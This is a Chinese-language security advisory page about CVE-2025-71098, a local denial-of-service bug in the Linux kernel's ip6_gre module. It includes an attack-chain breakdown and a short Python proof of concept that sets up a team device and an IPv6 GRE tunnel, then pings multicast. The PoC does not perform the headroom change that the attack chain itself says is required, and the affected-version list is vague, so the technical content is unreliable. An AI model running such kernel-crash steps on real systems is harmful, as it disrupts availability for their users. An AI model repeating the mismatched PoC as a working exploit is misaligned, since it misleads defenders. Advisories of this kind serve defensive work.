IPBUF安全漏洞报告
English
CVE-2025-71098 CVSS 5.5 中危

CVE-2025-71098: Linux内核ip6_gre模块本地拒绝服务漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71098
漏洞类型
本地拒绝服务/缓冲区处理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(ip6_gre模块)

相关标签

CVE-2025-71098Linux内核ip6_gre本地拒绝服务缓冲区溢出内核崩溃MEDIUMCVSS 5.5

漏洞概述

CVE-2025-71098是Linux内核中的一个本地拒绝服务漏洞,存在于ip6_gre模块的ip6gre_header()函数中。该漏洞源于team或bonding驱动能够动态修改网络设备的needed_headroom和hard_header_len参数,导致mld_newpack()分配的sk_buff缓冲区空间不足。当系统尝试通过ip6gre_header()处理数据包时,会因缓冲区越界访问而触发内核崩溃。此漏洞需要本地低权限用户即可触发,无需用户交互,成功利用可导致系统可用性完全丧失。

技术细节

该漏洞的技术根源在于ip6gre_header()函数在处理GRE隧道头时缺乏对sk_buff可用空间的充分验证。当team或bonding等虚拟网络设备动态调整其头部空间需求时,mld_newpack()分配的缓冲区可能无法满足后续处理流程的空间需求。攻击者可通过创建特定的IPv6 GRE隧道配置,诱导系统分配边界条件的sk_buff,进而在调用skb_push()等操作时触发缓冲区下溢,导致内核panic。此攻击向量化程度低,需要本地访问权限,但可造成系统级拒绝服务。

攻击链分析

STEP 1
步骤1:环境准备
攻击者获得本地访问权限,需要创建team或bonding虚拟网络设备
STEP 2
步骤2:动态修改网络设备参数
通过team或bonding驱动动态修改dev->needed_headroom和dev->hard_header_len参数
STEP 3
步骤3:触发边界条件
配置IPv6 GRE隧道并触发MLD数据包处理,使mld_newpack()分配空间不足的sk_buff
STEP 4
步骤4:触发内核崩溃
调用ip6gre_header()时因缓冲区空间不足导致skb_under_panic,触发内核panic

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC概念验证代码(需要本地root/sudo权限) import subprocess import time # 创建team网络设备 subprocess.run(['ip', 'link', 'add', 'team0', 'type', 'team'], check=True) subprocess.run(['ip', 'link', 'set', 'team0', 'up'], check=True) # 配置IPv6地址 subprocess.run(['ip', 'addr', 'add', '2001:db8::1/64', 'dev', 'team0'], check=True) # 创建ip6gre隧道 subprocess.run(['ip', 'link', 'add', 'ip6gre0', 'type', 'ip6gre', 'remote', '2001:db8::2'], check=True) subprocess.run(['ip', 'link', 'set', 'ip6gre0', 'up'], check=True) # 触发MLD数据包处理 subprocess.run(['ping', '-6', '-c', '10', 'ff02::1%ip6gre0'], check=False) time.sleep(2)

影响范围

Linux内核 < 5.15.x (特定commit)
Linux内核 < 6.1.x
Linux内核 < 6.6.x

防御指南

临时缓解措施
在无法立即升级内核的情况下,可通过限制用户创建team/bonding设备的权限、监控异常内核日志、禁用IPv6 GRE隧道功能来缓解风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表